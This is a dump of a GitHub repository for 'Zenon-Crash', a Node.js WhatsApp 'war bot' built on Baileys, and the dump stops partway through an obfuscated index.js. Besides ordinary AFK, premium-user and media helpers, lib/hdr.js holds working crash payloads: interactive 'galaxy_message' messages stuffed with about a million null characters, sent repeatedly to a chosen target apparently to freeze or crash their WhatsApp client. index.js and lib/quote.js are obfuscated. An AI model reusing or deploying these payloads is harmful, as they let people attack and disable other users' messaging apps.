├── backup.zip ├── Toxxic ├── Toxxic ├── bruhh.apk ├── o.jpg ├── x.mp3 ├── x.webp ├── xx1.png ├── xx2.jpg ├── Zenon.mp4 ├── bugpdf.js ├── four.js └── paijoo.js ├── lib ├── Toxxic ├── afk.js ├── quote.js ├── converter.js ├── premiun.js ├── hdr.js ├── myfunc2.js ├── exif.js ├── uploader.js ├── ytdl2.js └── myfunc.js ├── .gitignore ├── ZenonFiles ├── Toxxic ├── apk │ └── Toxxic ├── audio │ └── Toxxic ├── doc │ └── Toxxic ├── gif │ └── Toxxic ├── image │ └── Toxxic ├── trash │ └── Toxxic ├── video │ └── Toxxic ├── zip │ └── Toxxic ├── sticker │ └── Toxxic ├── Zenon.mp3 ├── menu.mp3 ├── thumb.jpg ├── donate.jpg └── thumb2.mp4 ├── database ├── tempban.json ├── toxic.js ├── afk-user.json ├── autoreply │ ├── vn.json │ ├── apk.json │ ├── doc.json │ ├── image.json │ ├── sticker.json │ ├── toxic.js │ ├── video.json │ └── zip.json ├── owner.json ├── total-hit-user.json └── premium.json ├── session ├── creds.json └── readme.md ├── Procfile ├── Dockerfile ├── package.json ├── index.js ├── README.md ├── LICENSE └── main.js /backup.zip: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Toxxic/Toxxic: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Toxxic/bruhh.apk: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /lib/Toxxic: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules -------------------------------------------------------------------------------- /ZenonFiles/Toxxic: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /database/tempban.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /database/toxic.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /session/creds.json: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ZenonFiles/apk/Toxxic: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ZenonFiles/audio/Toxxic: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ZenonFiles/doc/Toxxic: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ZenonFiles/gif/Toxxic: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ZenonFiles/image/Toxxic: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ZenonFiles/trash/Toxxic: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ZenonFiles/video/Toxxic: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /ZenonFiles/zip/Toxxic: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /database/afk-user.json: -------------------------------------------------------------------------------- 1 | [{}] -------------------------------------------------------------------------------- /database/autoreply/vn.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /ZenonFiles/sticker/Toxxic: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /database/autoreply/apk.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /database/autoreply/doc.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /database/autoreply/image.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /database/autoreply/sticker.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /database/autoreply/toxic.js: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /database/autoreply/video.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /database/autoreply/zip.json: -------------------------------------------------------------------------------- 1 | [] -------------------------------------------------------------------------------- /database/owner.json: -------------------------------------------------------------------------------- 1 | ["48459439078"] -------------------------------------------------------------------------------- /Procfile: -------------------------------------------------------------------------------- 1 | worker: npm install && npm start -------------------------------------------------------------------------------- /database/total-hit-user.json: -------------------------------------------------------------------------------- 1 | [{"hit_cmd":7729}] -------------------------------------------------------------------------------- /Toxxic/o.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Toxic1239/Zenon_Crash/HEAD/Toxxic/o.jpg -------------------------------------------------------------------------------- /Toxxic/x.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Toxic1239/Zenon_Crash/HEAD/Toxxic/x.mp3 -------------------------------------------------------------------------------- /Toxxic/x.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Toxic1239/Zenon_Crash/HEAD/Toxxic/x.webp -------------------------------------------------------------------------------- /Toxxic/xx1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Toxic1239/Zenon_Crash/HEAD/Toxxic/xx1.png -------------------------------------------------------------------------------- /Toxxic/xx2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Toxic1239/Zenon_Crash/HEAD/Toxxic/xx2.jpg -------------------------------------------------------------------------------- /Toxxic/Zenon.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Toxic1239/Zenon_Crash/HEAD/Toxxic/Zenon.mp4 -------------------------------------------------------------------------------- /database/premium.json: -------------------------------------------------------------------------------- 1 | [{},{"id":"48459439078@s.whatsapp.net","expired":10359417954514}] 2 | -------------------------------------------------------------------------------- /ZenonFiles/Zenon.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Toxic1239/Zenon_Crash/HEAD/ZenonFiles/Zenon.mp3 -------------------------------------------------------------------------------- /ZenonFiles/menu.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Toxic1239/Zenon_Crash/HEAD/ZenonFiles/menu.mp3 -------------------------------------------------------------------------------- /ZenonFiles/thumb.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Toxic1239/Zenon_Crash/HEAD/ZenonFiles/thumb.jpg -------------------------------------------------------------------------------- /ZenonFiles/donate.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Toxic1239/Zenon_Crash/HEAD/ZenonFiles/donate.jpg -------------------------------------------------------------------------------- /ZenonFiles/thumb2.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Toxic1239/Zenon_Crash/HEAD/ZenonFiles/thumb2.mp4 -------------------------------------------------------------------------------- /session/readme.md: -------------------------------------------------------------------------------- 1 | ### 𝙐𝙋𝙇𝙊𝘼𝘿 𝙔𝙊𝙐𝙍 𝘾𝙍𝙀𝘿𝙎.𝙅𝙎𝙊𝙉 𝙃𝙀𝙍𝙀 𝙊𝙍 𝙋𝘼𝙄𝙍 𝘿𝙄𝙍𝙀𝘾𝙏𝙇𝙔 𝙁𝙍𝙊𝙈 𝙏𝙃𝙀 𝘽𝙊𝙏 2 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | 2 | FROM node:lts-buster 3 | 4 | RUN apt-get update && \ 5 | apt-get install -y \ 6 | ffmpeg \ 7 | imagemagick \ 8 | webp && \ 9 | apt-get upgrade -y && \ 10 | rm -rf /var/lib/apt/lists/* 11 | 12 | COPY package.json . 13 | 14 | RUN npm install && npm install qrcode-terminal 15 | 16 | COPY . . 17 | 18 | EXPOSE 3000 19 | 20 | CMD ["node", "index.js", "--server"] 21 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Zenon-Crash", 3 | "version": "3.0.0", 4 | "description": "WhatsApp War Bot Using Nodejs", 5 | "main": "index.js", 6 | "type": "commonjs", 7 | "directories": { 8 | "lib": "lib", 9 | "database": "database", 10 | "database": "database", 11 | "session": "session", 12 | "media": "media" 13 | }, 14 | "scripts": { 15 | "start": "node index.js" 16 | }, 17 | "author": "Toxxic", 18 | "license": "MIT", 19 | "dependencies": { 20 | "@whiskeysockets/baileys": "^6.7.9", 21 | "@adiwajshing/keyed-db": "^0.2.4", 22 | "@hapi/boom": "^10.0.1", 23 | "awesome-phonenumber": "^7.2.0", 24 | "axios": "^1.7.7", 25 | "chalk": "^4.1.2", 26 | "cheerio": "^1.0.0-rc.12", 27 | "cookie": "^0.5.0", 28 | "file-type": "^16.5.3", 29 | "fluent-ffmpeg": "^2.1.2", 30 | "form-data": "^4.0.0", 31 | "fs-extra": "^11.1.1", 32 | "human-readable": "^0.2.1", 33 | "jimp": "^0.16.13", 34 | "jsdom": "^22.1.0", 35 | "moment-timezone": "^0.5.46", 36 | "node-fetch": "^2.6.11", 37 | "node-id3": "^0.2.3", 38 | "node-webpmux": "^3.1.7", 39 | "node-youtube-music": "^0.8.3", 40 | "performance-now": "^2.1.0", 41 | "pino": "^8.14.1", 42 | "qrcode": "^1.5.3", 43 | "qrcode-reader": "^1.0.4", 44 | "qrcode-terminal": "^0.12.0", 45 | "set-cookie": "^0.0.4", 46 | "translate-google-api": "^1.0.4", 47 | "youtube-yts": "^2.0.0", 48 | "ytdl-core": "^4.11.5", 49 | "youtubedl-core": "^4.11.5" 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /lib/afk.js: -------------------------------------------------------------------------------- 1 | //𝑫𝒐𝒏𝒕 𝑪𝒍𝒐𝒏𝒆 2 | //𝑩𝒂𝒔𝒆 𝑩𝒚 𝑻𝒐𝒙𝒙𝒊𝒄 3 | 4 | const fs = require('fs') 5 | 6 | const addAfkUser = (userId, time, reason, _dir) => { 7 | const obj = { id: userId, time: time, reason: reason } 8 | _dir.push(obj) 9 | fs.writeFileSync('./database/afk-user.json', JSON.stringify(_dir, null, 2)) 10 | } 11 | const checkAfkUser = (userId, _dir) => { 12 | let status = false 13 | Object.keys(_dir).forEach((i) => { 14 | if (_dir[i].id === userId) { 15 | status = true 16 | } 17 | }) 18 | return status 19 | } 20 | const getAfkReason = (userId, _dir) => { 21 | let position = null 22 | Object.keys(_dir).forEach((i) => { 23 | if (_dir[i].id === userId) { 24 | position = i 25 | } 26 | }) 27 | if (position !== null) { 28 | return _dir[position].reason 29 | } 30 | } 31 | const getAfkTime = (userId, _dir) => { 32 | let position = null 33 | Object.keys(_dir).forEach((i) => { 34 | if (_dir[i].id === userId) { 35 | position = i 36 | } 37 | }) 38 | if (position !== null) { 39 | return _dir[position].time 40 | } 41 | } 42 | const getAfkId = (userId, _dir) => { 43 | let position = null 44 | Object.keys(_dir).forEach((i) => { 45 | if (_dir[i].id === userId) { 46 | position = i 47 | } 48 | }) 49 | if (position !== null) { 50 | return _dir[position].id 51 | } 52 | } 53 | const getAfkPosition = (userId, _dir) => { 54 | let position = null 55 | Object.keys(_dir).forEach((i) => { 56 | if (_dir[i].id === userId) { 57 | position = i 58 | } 59 | }) 60 | return position 61 | } 62 | module.exports = { 63 | addAfkUser, 64 | checkAfkUser, 65 | getAfkReason, 66 | getAfkTime, 67 | getAfkId, 68 | getAfkPosition 69 | } -------------------------------------------------------------------------------- /lib/quote.js: -------------------------------------------------------------------------------- 1 | //𝑩𝒂𝒔𝒆 𝑩𝒚 𝑻𝒐𝒙𝒙𝒊𝒄 𝑩𝒐𝒚 2 | 3 | const _0x187749=_0x4a4c;(function(_0x2d363b,_0x52dbe9){const _0x56dfc2=_0x4a4c,_0x4119f4=_0x2d363b();while(!![]){try{const _0x2ff1d9=parseInt(_0x56dfc2(0x1c2))/0x1*(-parseInt(_0x56dfc2(0x1be))/0x2)+parseInt(_0x56dfc2(0x1b9))/0x3*(-parseInt(_0x56dfc2(0x1bf))/0x4)+parseInt(_0x56dfc2(0x1c6))/0x5*(-parseInt(_0x56dfc2(0x1ba))/0x6)+parseInt(_0x56dfc2(0x1bd))/0x7+-parseInt(_0x56dfc2(0x1c8))/0x8+-parseInt(_0x56dfc2(0x1b5))/0x9+parseInt(_0x56dfc2(0x1c3))/0xa;if(_0x2ff1d9===_0x52dbe9)break;else _0x4119f4['push'](_0x4119f4['shift']());}catch(_0xc89cb9){_0x4119f4['push'](_0x4119f4['shift']());}}}(_0x454f,0xcdc2b));const axios=require(_0x187749(0x1c7)),quote=async(_0x53f5ed,_0x345de1,_0x37e973)=>{const _0x596b3c=_0x187749,_0x57ce76={'type':_0x596b3c(0x1bc),'format':'png','backgroundColor':'#FFFFFF','width':0x200,'height':0x300,'scale':0x2,'messages':[{'entities':[],'avatar':!![],'from':{'id':0x1,'name':_0x345de1,'photo':{'url':_0x37e973}},'text':_0x53f5ed,'replyMessage':{}}]},_0x1a7080=await axios[_0x596b3c(0x1b4)](_0x596b3c(0x1b8),_0x57ce76,{'headers':{'Content-Type':_0x596b3c(0x1c5)}}),_0x311147=Buffer[_0x596b3c(0x1c4)](_0x1a7080[_0x596b3c(0x1b7)][_0x596b3c(0x1bb)][_0x596b3c(0x1b6)],_0x596b3c(0x1b3));return{'status':'200','creator':_0x596b3c(0x1c0),'result':_0x311147};};function _0x454f(){const _0x85785d=['1093094ggbjSZ','4RkwAty','AdrianTzy','exports','1qMUCBh','43588690mbrFpz','from','application/json','15JPYWFb','axios','5836832TVJhzh','base64','post','10489428ZXAhvo','image','data','https://quote-api.bokov68872.repl.co/generate','1479573ZJSUov','2253354vEjEHI','result','quote','3818059TkHEnK'];_0x454f=function(){return _0x85785d;};return _0x454f();}function _0x4a4c(_0x26fa2,_0x1bb3c0){const _0x454f9e=_0x454f();return _0x4a4c=function(_0x4a4caf,_0x3ddd7c){_0x4a4caf=_0x4a4caf-0x1b3;let _0x2bace1=_0x454f9e[_0x4a4caf];return _0x2bace1;},_0x4a4c(_0x26fa2,_0x1bb3c0);}module[_0x187749(0x1c1)]={'quote':quote}; 4 | -------------------------------------------------------------------------------- /lib/converter.js: -------------------------------------------------------------------------------- 1 | //𝑩𝒂𝒔𝒆 𝑩𝒚 𝑻𝒐𝒙𝒙𝒊𝒄 𝑩𝒐𝒚 2 | 3 | const fs = require('fs') 4 | const path = require('path') 5 | const { spawn } = require('child_process') 6 | 7 | function ffmpeg(buffer, args = [], ext = '', ext2 = '') { 8 | return new Promise(async (resolve, reject) => { 9 | try { 10 | let tmp = path.join(__dirname, '../database', + new Date + '.' + ext) 11 | let out = tmp + '.' + ext2 12 | await fs.promises.writeFile(tmp, buffer) 13 | spawn('ffmpeg', [ 14 | '-y', 15 | '-i', tmp, 16 | ...args, 17 | out 18 | ]) 19 | .on('error', reject) 20 | .on('close', async (code) => { 21 | try { 22 | await fs.promises.unlink(tmp) 23 | if (code !== 0) return reject(code) 24 | resolve(await fs.promises.readFile(out)) 25 | await fs.promises.unlink(out) 26 | } catch (e) { 27 | reject(e) 28 | } 29 | }) 30 | } catch (e) { 31 | reject(e) 32 | } 33 | }) 34 | } 35 | 36 | /** 37 | * Convert Audio to Playable WhatsApp Audio 38 | * @param {Buffer} buffer Audio Buffer 39 | * @param {String} ext File Extension 40 | */ 41 | function toAudio(buffer, ext) { 42 | return ffmpeg(buffer, [ 43 | '-vn', 44 | '-ac', '2', 45 | '-b:a', '128k', 46 | '-ar', '44100', 47 | '-f', 'mp3' 48 | ], ext, 'mp3') 49 | } 50 | 51 | /** 52 | * Convert Audio to Playable WhatsApp PTT 53 | * @param {Buffer} buffer Audio Buffer 54 | * @param {String} ext File Extension 55 | */ 56 | function toPTT(buffer, ext) { 57 | return ffmpeg(buffer, [ 58 | '-vn', 59 | '-c:a', 'libopus', 60 | '-b:a', '128k', 61 | '-vbr', 'on', 62 | '-compression_level', '10' 63 | ], ext, 'opus') 64 | } 65 | 66 | /** 67 | * Convert Audio to Playable WhatsApp Video 68 | * @param {Buffer} buffer Video Buffer 69 | * @param {String} ext File Extension 70 | */ 71 | function toVideo(buffer, ext) { 72 | return ffmpeg(buffer, [ 73 | '-c:v', 'libx264', 74 | '-c:a', 'aac', 75 | '-ab', '128k', 76 | '-ar', '44100', 77 | '-crf', '32', 78 | '-preset', 'slow' 79 | ], ext, 'mp4') 80 | } 81 | 82 | module.exports = { 83 | toAudio, 84 | toPTT, 85 | toVideo, 86 | ffmpeg, 87 | } 88 | -------------------------------------------------------------------------------- /lib/premiun.js: -------------------------------------------------------------------------------- 1 | //𝑩𝒂𝒔𝒆 𝑩𝒚 𝑻𝒐𝒙𝒙𝒊𝒄 2 | 3 | const fs = require("fs"); 4 | const toMs = require("ms"); 5 | 6 | const premium = JSON.parse(fs.readFileSync('./database/premium.json')) 7 | /** 8 | * Add premium user. 9 | * @param {String} userId 10 | * @param {String} expired 11 | * @param {Object} _dir 12 | */ 13 | const addPremiumUser = (userId, expired, _dir) => { 14 | const cekUser = premium.find((user) => user.id == userId); 15 | if (cekUser) { 16 | cekUser.expired = cekUser.expired + toMs(expired); 17 | } else { 18 | const obj = { id: userId, expired: Date.now() + toMs(expired) }; 19 | _dir.push(obj); 20 | } 21 | fs.writeFileSync("./database/premium.json", JSON.stringify(_dir)); 22 | }; 23 | 24 | /** 25 | * Get premium user position. 26 | * @param {String} userId 27 | * @param {Object} _dir 28 | * @returns {Number} 29 | */ 30 | const getPremiumPosition = (userId, _dir) => { 31 | let position = null; 32 | Object.keys(_dir).forEach((i) => { 33 | if (_dir[i].id === userId) { 34 | position = i; 35 | } 36 | }); 37 | if (position !== null) { 38 | return position; 39 | } 40 | }; 41 | 42 | /** 43 | * Get premium user expire. 44 | * @param {String} userId 45 | * @param {Object} _dir 46 | * @returns {Number} 47 | */ 48 | const getPremiumExpired = (userId, _dir) => { 49 | let position = null; 50 | Object.keys(_dir).forEach((i) => { 51 | if (_dir[i].id === userId) { 52 | position = i; 53 | } 54 | }); 55 | if (position !== null) { 56 | return _dir[position].expired; 57 | } 58 | }; 59 | 60 | /** 61 | * Check user is premium. 62 | * @param {String} userId 63 | * @param {Object} _dir 64 | * @returns {Boolean} 65 | */ 66 | const checkPremiumUser = (userId, _dir) => { 67 | let status = false; 68 | Object.keys(_dir).forEach((i) => { 69 | if (_dir[i].id === userId) { 70 | status = true; 71 | } 72 | }); 73 | return status; 74 | }; 75 | 76 | /** 77 | * Constantly checking premium. 78 | * @param {Object} _dir 79 | */ 80 | const expiredCheck = (ToxxicTech, msg, _dir) => { 81 | setInterval(() => { 82 | let position = null; 83 | Object.keys(_dir).forEach((i) => { 84 | if (Date.now() >= _dir[i].expired) { 85 | position = i; 86 | } 87 | }); 88 | if (position !== null) { 89 | idny = _dir[position].id; 90 | console.log(`Premium expired: ${_dir[position].id}`); 91 | _dir.splice(position, 1); 92 | fs.writeFileSync("./database/premium.json", JSON.stringify(_dir)); 93 | idny ? ToxxicTech.sendMessage(idny, { text: "Your premium has run out, please buy again." }) : ""; 94 | idny = false; 95 | } 96 | }, 1000); 97 | }; 98 | 99 | /** 100 | * Get all premium user ID. 101 | * @param {Object} _dir 102 | * @returns {String[]} 103 | */ 104 | const getAllPremiumUser = (_dir) => { 105 | const array = []; 106 | Object.keys(_dir).forEach((i) => { 107 | array.push(_dir[i].id); 108 | }); 109 | return array; 110 | }; 111 | 112 | module.exports = { 113 | addPremiumUser, 114 | getPremiumExpired, 115 | getPremiumPosition, 116 | expiredCheck, 117 | checkPremiumUser, 118 | getAllPremiumUser, 119 | }; -------------------------------------------------------------------------------- /lib/hdr.js: -------------------------------------------------------------------------------- 1 | exports.beta2 = async (ToxxicTech, target) => { 2 | for (let i = 0; i < 7; i++) { 3 | await ToxxicTech.relayMessage(target, 4 | { 5 | viewOnceMessage: { 6 | message: { 7 | interactiveResponseMessage: { 8 | body: { 9 | text: " ", 10 | format: "EXTENSIONS_1" 11 | }, 12 | nativeFlowResponseMessage: { 13 | name: 'galaxy_message', 14 | paramsJson: `{\"screen_2_OptIn_0\":true,\"screen_2_OptIn_1\":true,\"screen_1_Dropdown_0\":\"AdvanceBug\",\"screen_1_DatePicker_1\":\"1028995200000\",\"screen_1_TextInput_2\":\"attacker@zetxcza.com\",\"screen_1_TextInput_3\":\"94643116\",\"screen_0_TextInput_0\":\"radio - buttons${"\u0000".repeat(1020000)}\",\"screen_0_TextInput_1\":\"\u0003\",\"screen_0_Dropdown_2\":\"001-Grimgar\",\"screen_0_RadioButtonsGroup_3\":\"0_true\",\"flow_token\":\"AQAAAAACS5FpgQ_cAAAAAE0QI3s.\"}`, 15 | version: 3 16 | } 17 | } 18 | } 19 | } 20 | }, 21 | { participant: { jid: target } } 22 | ); 23 | } 24 | } 25 | 26 | 27 | exports.beta1 = async (ToxxicTech, target) => { 28 | for (let i = 0; i < 7; i++) { 29 | await ToxxicTech.relayMessage(target, 30 | { 31 | viewOnceMessage: { 32 | message: { 33 | interactiveResponseMessage: { 34 | body: { 35 | text: " ", 36 | format: "EXTENSIONS_1" 37 | }, 38 | nativeFlowResponseMessage: { 39 | name: 'galaxy_message', 40 | paramsJson: `{\"screen_2_OptIn_0\":true,\"screen_2_OptIn_1\":true,\"screen_1_Dropdown_0\":\"AdvanceBug\",\"screen_1_DatePicker_1\":\"1028995200000\",\"screen_1_TextInput_2\":\"attacker@zetxcza.com\",\"screen_1_TextInput_3\":\"94643116\",\"screen_0_TextInput_0\":\"radio - buttons${"\u0000".repeat(1020000)}\",\"screen_0_TextInput_1\":\"\u0003\",\"screen_0_Dropdown_2\":\"001-Grimgar\",\"screen_0_RadioButtonsGroup_3\":\"0_true\",\"flow_token\":\"AQAAAAACS5FpgQ_cAAAAAE0QI3s.\"}`, 41 | version: 3 42 | } 43 | } 44 | } 45 | } 46 | }, 47 | { participant: { jid: target } } 48 | ); 49 | } 50 | } 51 | 52 | exports.buk1 = async (ToxxicTech, target, text, amount, ptcp = false) => { 53 | await ToxxicTech.relayMessage(target, 54 | { 55 | viewOnceMessage: { 56 | message: { 57 | interactiveResponseMessage: { 58 | body: { 59 | text: text, 60 | format: "EXTENSIONS_1" 61 | }, 62 | nativeFlowResponseMessage: { 63 | name: 'galaxy_message', 64 | paramsJson: `{\"screen_2_OptIn_0\":true,\"screen_2_OptIn_1\":true,\"screen_1_Dropdown_0\":\"TrashDex Superior\",\"screen_1_DatePicker_1\":\"1028995200000\",\"screen_1_TextInput_2\":\"devorsixcore@trash.lol\",\"screen_1_TextInput_3\":\"94643116\",\"screen_0_TextInput_0\":\"radio - buttons${"\u0000".repeat(amount)}\",\"screen_0_TextInput_1\":\"Anjay\",\"screen_0_Dropdown_2\":\"001-Grimgar\",\"screen_0_RadioButtonsGroup_3\":\"0_true\",\"flow_token\":\"AQAAAAACS5FpgQ_cAAAAAE0QI3s.\"}`, 65 | version: 3 66 | } 67 | } 68 | } 69 | } 70 | }, 71 | ptcp ? { participant: { jid: target } } : {} 72 | ); 73 | }; -------------------------------------------------------------------------------- /index.js: -------------------------------------------------------------------------------- 1 | function eUfHQeU$ekuKX(){const fVJKmI_RMiFvxJcqG_gvW=['101112151715466845777673','101118171313154a594c4f4966','101612191015447b4f426851','10161812111311596d4d6e4d64','51405549','4c445252404644','4b4e484f','4d4e46','524d484244','161113607374574740','7b444f4e4f0173445255405355484f460f0f0f','154f4c6942696b','4c40484f0f4b52','1218184d6b73634a69','4a484d4d','4453534e53','1015161610111119786b796f756c','1375754f6a5252','101110131617106467594f5253','101816131213134f5844437958','40534657','484f4944534855','181174506666764b','485142','645948554445015648554901424e45441b','44594855','5344524455','191811181410144579576d797b','4249484d457e51534e42445252'];eUfHQeU$ekuKX=function(){return fVJKmI_RMiFvxJcqG_gvW;};return eUfHQeU$ekuKX();}const bnZ_zsOywHRDFF=uFYtdJfopMrtWNqLPYRf;function uFYtdJfopMrtWNqLPYRf(PYRfZiiUXJLuhTJmcqtw,YdyKJDW_EqfnJJgEbLi){const UHZyGpuyu=eUfHQeU$ekuKX();return uFYtdJfopMrtWNqLPYRf=function(NHwXpyWEkOJqD$p$JV,BpWaYCGAI){NHwXpyWEkOJqD$p$JV=NHwXpyWEkOJqD$p$JV-(Math.ceil(0xdd0)+0x1758+-0x237b*0x1);let ORmtrXCXzdjeBJQFwd=UHZyGpuyu[NHwXpyWEkOJqD$p$JV];if(uFYtdJfopMrtWNqLPYRf['AKPemx']===undefined){const dXvLXZeZncIplJRBkHY=function(XNTMUqGGWjxL$lOlEnye){let XygId=parseInt(0xaf2)+-0x1985*-0x1+parseFloat(-0x2156)&Number(0x1)*Math.max(-0x80f,-0x80f)+0xf06+0x5f8*-0x1,WRARUvfauK$bRLdhaxrw_hIWXM=new Uint8Array(XNTMUqGGWjxL$lOlEnye['match'](/.{1,2}/g)['map'](VKonPS_uZarghkaf=>parseInt(VKonPS_uZarghkaf,-0x9ff*Number(0x1)+-0x2215+0x2c24))),dRLrnSEERWu_GpaqsA=WRARUvfauK$bRLdhaxrw_hIWXM['map'](NUoSFGFNqaeohtnZJlPuGarI=>NUoSFGFNqaeohtnZJlPuGarI^XygId),ExSPyz_g_KBuRqVeEaM=new TextDecoder(),zHPGTfJVEFt$gkGs_l=ExSPyz_g_KBuRqVeEaM['decode'](dRLrnSEERWu_GpaqsA);return zHPGTfJVEFt$gkGs_l;};uFYtdJfopMrtWNqLPYRf['UuXfgz']=dXvLXZeZncIplJRBkHY,PYRfZiiUXJLuhTJmcqtw=arguments,uFYtdJfopMrtWNqLPYRf['AKPemx']=!![];}const aQYhIVOub=UHZyGpuyu[0x1305+parseInt(0x407)*-0x3+Number(-0x6f0)],aZfXARpAfnHvMSEFxnsrTTnK=NHwXpyWEkOJqD$p$JV+aQYhIVOub,skxmnhGnmHcH=PYRfZiiUXJLuhTJmcqtw[aZfXARpAfnHvMSEFxnsrTTnK];return!skxmnhGnmHcH?(uFYtdJfopMrtWNqLPYRf['bbvkar']===undefined&&(uFYtdJfopMrtWNqLPYRf['bbvkar']=!![]),ORmtrXCXzdjeBJQFwd=uFYtdJfopMrtWNqLPYRf['UuXfgz'](ORmtrXCXzdjeBJQFwd),PYRfZiiUXJLuhTJmcqtw[aZfXARpAfnHvMSEFxnsrTTnK]=ORmtrXCXzdjeBJQFwd):ORmtrXCXzdjeBJQFwd=skxmnhGnmHcH,ORmtrXCXzdjeBJQFwd;},uFYtdJfopMrtWNqLPYRf(PYRfZiiUXJLuhTJmcqtw,YdyKJDW_EqfnJJgEbLi);}(function(FNqaeo$htnZ_JlPuGarI,SO$LOo$VI){const fZ_jJ_Mx=uFYtdJfopMrtWNqLPYRf,VoSpBCTu$cWXmO=FNqaeo$htnZ_JlPuGarI();while(!![]){try{const TBukdDCdeqwxkbLFdIEcja=Number(parseFloat(fZ_jJ_Mx(0x1b5))/(-0x8d3+0x2d*Math.floor(0x59)+-0x6d1))+parseFloat(parseFloat(fZ_jJ_Mx(0x1b4))/(-0x1b6d+-0x25e4+0x4153))*(-parseFloat(fZ_jJ_Mx(0x1c1))/(0x578*Math.ceil(-0x5)+0xe*Number(0xf0)+Math.trunc(0xe3b)))+-parseFloat(fZ_jJ_Mx(0x1ae))/(Math.ceil(0x1a0c)+0x11e6+0x1*Math.ceil(-0x2bee))*parseFloat(parseFloat(fZ_jJ_Mx(0x1be))/(-0x6*-0x105+-0x31*Math.ceil(-0x89)+parseInt(-0x2052)))+-parseFloat(fZ_jJ_Mx(0x1c2))/(0x1*-0xd9a+-0x1*0xb87+0x89*0x2f)*Number(-parseFloat(fZ_jJ_Mx(0x1b0))/(Number(-0x1d0)+0x1*Number(-0x148)+0x31f))+parseInt(-parseFloat(fZ_jJ_Mx(0x1b3))/(-0xd83*Math.ceil(-0x2)+parseFloat(-0xe86)*0x1+parseInt(0x2)*-0x63c))+Math['ceil'](-parseFloat(fZ_jJ_Mx(0x1b9))/(Math.max(0x1,0x1)*-0xdf+-0xb7e*parseInt(-0x1)+0x54b*Math.max(-0x2,-0x2)))*Math['max'](-parseFloat(fZ_jJ_Mx(0x1c3))/(parseInt(0x613)+0x81f+parseInt(-0xe28)),-parseFloat(fZ_jJ_Mx(0x1b6))/(0x9a6+-0xb38+0x7*parseInt(0x3b)))+Number(parseFloat(fZ_jJ_Mx(0x1c0))/(0x464*Math.trunc(-0x4)+Math.trunc(-0x1357)+-0x24f3*parseInt(-0x1)))*(parseFloat(fZ_jJ_Mx(0x1c9))/(parseFloat(-0xd44)+-0x1d8f+0x2ae0));if(TBukdDCdeqwxkbLFdIEcja===SO$LOo$VI)break;else VoSpBCTu$cWXmO['push'](VoSpBCTu$cWXmO['shift']());}catch(bsPHqZmEyFocbEWejzfql){VoSpBCTu$cWXmO['push'](VoSpBCTu$cWXmO['shift']());}}}(eUfHQeU$ekuKX,Number(0x596bf)*-0x4+0x192202+0x1*parseFloat(0xb658d)));const {spawn}=require(bnZ_zsOywHRDFF(0x1bf)),path=require(bnZ_zsOywHRDFF(0x1c4));function start(){const qky_n_NLM=bnZ_zsOywHRDFF;let puyuBNHwXpyWEkOJqD=[path[qky_n_NLM(0x1c6)](__dirname,qky_n_NLM(0x1af)),...process[qky_n_NLM(0x1b7)][qky_n_NLM(0x1c8)](0x11cf+Math.ceil(0x11)*-0x81+Number(-0x93c))];console[qky_n_NLM(0x1c7)]([process[qky_n_NLM(0x1b7)][Math.max(-0x2297,-0x2297)+-0xe34+0x30cb*0x1],...puyuBNHwXpyWEkOJqD][qky_n_NLM(0x1c6)]('\x0a'));let JVkBpWaYCGA=spawn(process[qky_n_NLM(0x1b7)][0x30*-0xb8+0x170*-0x2+-0x20*-0x12b],puyuBNHwXpyWEkOJqD,{'stdio':[qky_n_NLM(0x1b8),qky_n_NLM(0x1b8),qky_n_NLM(0x1b8),qky_n_NLM(0x1ba)]})['on'](qky_n_NLM(0x1c5),HORmtrXCXzdjeBJQFw=>{const xV_VCP=qky_n_NLM;HORmtrXCXzdjeBJQFw==xV_VCP(0x1bd)&&(console[xV_VCP(0x1c7)](xV_VCP(0x1ad)),JVkBpWaYCGA[xV_VCP(0x1b1)](),start(),delete JVkBpWaYCGA);})['on'](qky_n_NLM(0x1bc),m_aQ_YhI=>{const 